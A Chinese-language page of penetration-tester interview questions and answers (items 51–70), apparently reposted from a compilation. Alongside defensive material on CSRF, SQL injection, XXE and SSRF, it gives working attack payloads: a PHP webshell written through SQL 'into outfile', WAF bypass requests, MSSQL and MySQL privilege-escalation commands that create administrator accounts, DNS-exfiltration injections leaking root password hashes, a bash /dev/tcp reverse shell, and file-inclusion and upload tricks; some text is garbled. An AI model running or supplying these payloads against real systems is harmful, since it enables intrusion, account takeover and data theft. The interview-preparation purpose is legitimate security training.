渗透测试⼯程师⾯试题⼤全(⼆)
渗透测试⼯程师⾯试题⼤全(⼆)
from:backlion⼤佬 整理
51.sql 注⼊写⽂件都有哪些函数?
(1)select ‘⼀句话’ into outfile ‘路径’
(2)select ‘⼀句话’ into dumpfile ‘路径’
(3) select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu\nvhack.php’;
52.如何防⽌ CSRF?
(1)验证 referer
(2)验证 token
详细:/topic/5533dd6e9138f09b629674fd
53.owasp 漏洞都有哪些?
(1)SQL 注⼊
(2)失效的⾝份认证和会话管理
(3)跨站脚本攻击 XSS
(4)直接引⽤不安全的对象
(5)安全配置错误
(6)敏感信息泄露
(7)缺少功能级的访问控制
(8)跨站请求伪造 CSRF
(9)使⽤含有已知漏洞的组件
(10))未验证的重定向和转发
54.SQL 注⼊防护⽅法?
(1)使⽤安全的 API
(2)对输⼊的特殊字符进⾏ Escape 转义处理
(3)使⽤⽩名单来规范化输⼊验证⽅法
(4)对客户端输⼊进⾏控制,不允许输⼊ SQL 注⼊相关的特殊字符
(5)服务器端在提交数据库进⾏ SQL 查询之前,对特殊字符进⾏过滤、转义、替换、删除。
55.代码执⾏,⽂件读取,命令执⾏的函数都有哪些?
(1)代码执⾏: eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_fu nction
(2)⽂件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
(3)命令执⾏:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
56.img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?
src 指定⼀个远程的脚本⽂件,获取 referer
57.img 标签除了 onerror 属性外,并且 src 属性的后缀名,必须以.jpg 结尾,怎么获取管理员路径?远程服务器修改 apache 配置⽂件,配置.jpg ⽂件以 php ⽅式来解析
AddType application/x-httpd-php .jpg
<img src=xss.tv/1.jpg> 会以 php ⽅式来解析
58.怎么绕过 WAF 注⼊和上传以及 xss?
(1)关键字可以⽤%(只限 IIS 系列),⽐如 select 可以 sel%e%ct。原理:
⽹络层 waf 对 SEL%E%CT 进⾏ url 解码后变成 SEL%E%CT,匹配 select 失败,⽽进⼊ asp.dll 对 SEL%E%CT 进⾏ url 解码却变成select。IIS 下的 asp.dll ⽂件在对 asp ⽂件后参数串进⾏ url 解码时,会直接过滤掉 09-0d(09 是 tab 键,0d是回车)、20(空格)、%(后两个字符有⼀个不是⼗六进制)字符。xss 也是同理。
(2)内联注释。安全狗不拦截,但是安全宝、加速乐、D 盾等,看到/!/就 Fack
了,所以只限于安全狗。⽐如:/!select*/
(3)编码。这个⽅法对 waf 很有效果,因为⼀般 waf 会解码,但是我们利⽤这
个特点,进⾏两次编码,他解了第⼀次但不会解第⼆次,就 bypass 了。腾讯
waf、百度 waf 等等都可以这样 bypass 的
(4)绕过策略如:伪造搜索引擎
早些版本的安全狗是有这个漏洞的,就是把 User-Agent 修改为搜索引擎
(5)插⼊关键⽬录 admin,dede,install 等⽬录绕过 360webscan
360webscan 脚本存在这个问题,就是判断是否为 admin dede install 等⽬录,如果是则不做拦截
GET /pen/news.php?id=1 union select user,password from mysql.user GET /pen/news.php/admin?id=1 union select
user,password from
mysql.user
GET /pen/admin/…\news.php?id=1 union select user,password from mysql.user (6)multipart 请求绕过,在 POST 请求中添加⼀个上传⽂件,绕过了绝⼤多数WAF。
(7)参数绕过,复制参数,id=1&id=1
⽤⼀些特殊字符代替空格,⽐如在 mysql 中%0a 是换⾏,可以代替空格,这个⽅法也可以部分绕过最新版本的安全狗,在 sqlserver 中可以⽤/**/代替空格
(8)内联注释,
⽂件上传,复制⽂件包⼀份再加⼀份
在 form-data;后⾯增加⼀定的字符
59.既然宽字节注⼊可以绕过单引号过滤,那么怎么来修复呢?
宽字符:解 决⽅法:就是在初始化连接和字符集之后,使⽤ SET
character_set_client=binary 来设定客户端的字符集是⼆进制的。修改
Windows 下的 MySQL 配置⽂件⼀般是 my.ini,Linux 下的 MySQL 配置⽂件⼀般是 myf,⽐如:m
ysql_query (“SETcharacter_set_client=binary”);。
character_set_client 指定的是 SQL 语句的编码,如果设置为 binary,MySQL就以⼆进制来执⾏,这样宽字节编码问题就没有⽤武之地了。
详细参考:
wenku.baidu/link?
url=F4Cq18NYdsnATq3eqtr3zCWLKExoEYV62yJp5zsfM5c85iv4rldTvl1A_SGilEAiWB_O_hg0C9A8VLoIT4K_HxyyF0Z7xo5 Pihh1VxxYa4QGiXQ_wGDjiOFHubYvshgl
60.列举出 oracle 注⼊获取管理员权限提权典型漏洞?
【漏洞名称】 sys.dbms__domain_index_metadata 提升权限漏洞
【影响平台】Oracle 8i / 9i / 10g / XE
【风险等级】⾼
【攻击需求】较低权限账号
【造成危害】取得管理员权限
61.mssql 提权的提权思路有哪些步骤?
(1)⾸先看看 xp_cmdshel 是否 l 存在,不存在的话先恢复,恢复语句如下:
Exec sp_configure show advanced options,1;RECONFIGURE;EXEC sp_configure xp_cmdshell,1;RECONFIGURE;
;EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;–
(2)如果 xp_cmdshell 还是不⾏就再执⾏命令
;dbcc addextendedproc(“xp_cmdshell”,“xplog70.dll”);–
或;sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll 来恢复cmdshell
(3)⽆法在库 xpweb70.dll 中到函数 xp_cmdshell。原因: 127(不到指定的程序。)
恢复⽅法:查询分离器连接后,
第⼀步执⾏:exec sp_dropextendedproc xp_cmdshell
xml标签大全第⼆步执⾏:exec sp_addextendedproc xp_cmdshell,xpweb70.dll
然后按 F5 键命令执⾏完毕
(4)终极⽅法
如果以上⽅法均不可恢复,请尝试⽤下⾯的办法直接添加帐户:
查询分离器连接后, 2000servser 系统:
declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, /c net user dell huxifeng007 /add
declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, /c net localgroup administrators dell /add sql2008 提权 低权限运⾏
62、mssql 提权提⽰错误代码 5,cmd 权限不⾜的原因?
错误代码”5″,马上 google 之。由于 xp_cmdshell 是严格⽤%systemroot%\ 去执⾏所提交的命令的,提
⽰”5″,意思是 cmd 的权限不⾜,就是说 system32 下的 被降权了。当然也有绕过的⽅法,⽐如启⽤沙盒模式执⾏ shell 命令:
63.怎么⽤ sqlmap 对 sa 权限的 mssql 2008 进⾏提权?
(1)第⼀种函数
select name from sysobjects where xtype=u 通过这个来爆第⼀个表
select name from sysobjects where xtype=u and name not in(爆出来的表1,爆出来的表 2…)
⼀直爆下去,直到到我们所需要的表位置
(2)第⼆种函数
select table_name from information_schema.tables
select table_name from information_schema.tables where table_name
not in (爆出来的表 1,爆出来的表 2…)
参考⽂章:www.freebuf/articles/web/10280.html
< 注⼊有哪些危害以及防御?
(1)引⽤外部实体<!ENTITY 实体名称 SYSTEM "URI">或者 <!ENTITY 实体
名称 PUBLIC “public_ID” “URI”>当允许引⽤外部实体时,通过构造恶意内容
(2)可导致读取任意⽂件、执⾏系统命令、探测内⽹端⼝、攻击内⽹⽹站等危害。
对于不同 XML 解析器,对外部实体有不同处理规则,在 PHP 中默认处理的函数为:xml_parse 和 simplexml_load xml_parse 的实现⽅式为expat 库,默认情况不会解析外部实体,⽽ simplexml_load 默认情况下会解析外部实体,造成安全威胁.除 PHP 外,在 Java,Python 等处理 xml 的组件及函数中都可能存在此问题
www.waitalone/xxe-attack.html
XXE 漏洞 /9539.html
(3)防御:
⽅案⼀、使⽤开发语⾔提供的禁⽤外部实体的⽅法
libxml_disable_entity_loader(true);
⽅案⼆、过滤⽤户提交的 XML 数据
1.检查所使⽤的底层 xml 解析库,默认禁⽌外部实体的解析
2.使⽤第三⽅应⽤代码及时升级补丁
3.同时增强对系统的监控,防⽌此问题被⼈利⽤
对于 PHP,由于 simplexml_load_string 函数的 XML 解析问题出在 libxml 库上,
所以加载实体前可以调⽤这样⼀个函数
65.gpc 魔术引号?
参考⽂章: www.jb51/article/38990
66.MYSQL 有哪些提权⽅法?
(1)UDF 提权
这类提权⽅法我想⼤家已经知道了,我⼤致写⼀下,具体语句如下:
create function cmdshell returns string soname ’udf.dll’ select cmdshell(’net user iis_user 123!@#abcABC /add’); select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s ’);
drop function cmdshell;
select cmdshell(’netstat -an’);
(2)VBS 启动项提权
create table a (cmd text);
insert into a values (“set wshshell=createobject (”“wscript.shell”") " );
insert into a values (“a=wshshell.run (”“ /c net user iis_user 123!@#abcABC/add”",0) " );
insert into a values (“b=wshshell.run (”“ /c net localgroup administrators iis_user /add”",0) " );
select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs”;
(3)Linx MySQL BackDoor 提权
Linx Mysql Door
Mysql BackDoor 是⼀款针对 PHP+Mysql 服务器开发的后门,该后门安装后为Mysql 增加⼀个可以执⾏系统命令的"state"函数,并且随Mysql 进程启动⼀个基于 Dll 的嗅探型后门,这个后门在 Windows 下拥有与 Mysql ⼀样的系统权限,从⽽巧妙的实现了⽆端⼝,⽆进程,⽆服务的穿墙⽊马.
⽤法:将 Mysql.php 传到 PHP 服务器上,点击"⾃动安装 Mysql BackDoor",然后直接执⾏命令即可。
(4)MIX.DLL 提权
1.在独⽴ IP 的 sqlmap 下运⾏
2.禁⽤本地缓存
net stop dns 3.localhost/inject.php?user=123’
and if((SELECT LOAD_FILE(CONCAT(’\’,(SELECT hex(user())),’.abc\foobar’))),1,1)%23
localhost/inject.php?user=123’
and if((SELECT LOADFILE(CONCAT(’\’,(SELECT concat(user,’’,mid(password,2,41)) from user where user=‘root’limit 1),’.md5crack\foobar’))),1,1)%23 sanwen8/p/1acWt8J.html
4.DNS 突破
参考⽂章:www.freebuf/vuls/85021.html
67.什么叫 ssrf 以及 ssrf 的防御?
(1)SSRF(Server-Side Request Forgery:服务器端请求伪造) 是⼀种由攻击者构造形成由服务端发起请求的⼀个安全漏洞。⼀般情况下,SSRF 攻击的⽬标是从外⽹⽆法访问的内部系统。
(2)SSRF 统⼀错误信息,避免⽤户可以根据错误信息来判断远程服务器端⼝状态
1.限制请求的端⼝为 HTTP 常⽤的端⼝,⽐如 80,443,8080,8088 等
2.⿊名单内⽹ IP。
3.禁⽤不需要的协议,仅仅允许 HTTP 和 HTTPS.
68.如何利⽤ php 的远程命令执⾏函数进⾏反弹 nc?
system,exec,shell_exec,paassthru,popen,proc_popen,
反弹 shell
公⽹服务器执⾏ nc –lvv 8888
⽬标服务器上执⾏?cmd= bash -i >& /dev/tcp/10.0.0.1/8888 0>&1
并在 disabl_functions 中禁⽤
69.⽂件包含漏洞可以⽤来做啥,以及需要主要注意的事项?
(1)配合⽂件上传漏洞 GetShell,可以执⾏任意脚本代码,⽹站源码⽂件以及配置⽂件泄露,远程包含 GetShel, 控制整个⽹站甚⾄是服务器
(2)allow_url_fopen 和 allow_url_include 为 ON 的话,则包含的⽂件可以是第三⽅服务器中的⽂件,这样就形成了远程⽂件包含漏洞
(3)/etc/passwd · 需要 magic_quotes_gpc=off,PHP ⼩于 5.3.4 有效
(4)/etc/passwd././././././././././././.[…]/././././././././.
(5)php 版本⼩于 5.2.8 可以成功,linux 需要⽂件名长于 4096,windows需要长于 256index.php?
page=php://filter/read/=convert.base64-encode/resource=index.php
70.⽂件上传有哪些技巧?
通过抓包截断将 eval.php.jpg 换成 eval.php_jpg(下划线为 0x00)。在上传⽂件时系统⽂件遇到 0x00。会认为⽂件已经结束。从⽽将eval.php.jpg 的内容写⼊到 eval.php 中。
.htaccess ⽂件内容
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论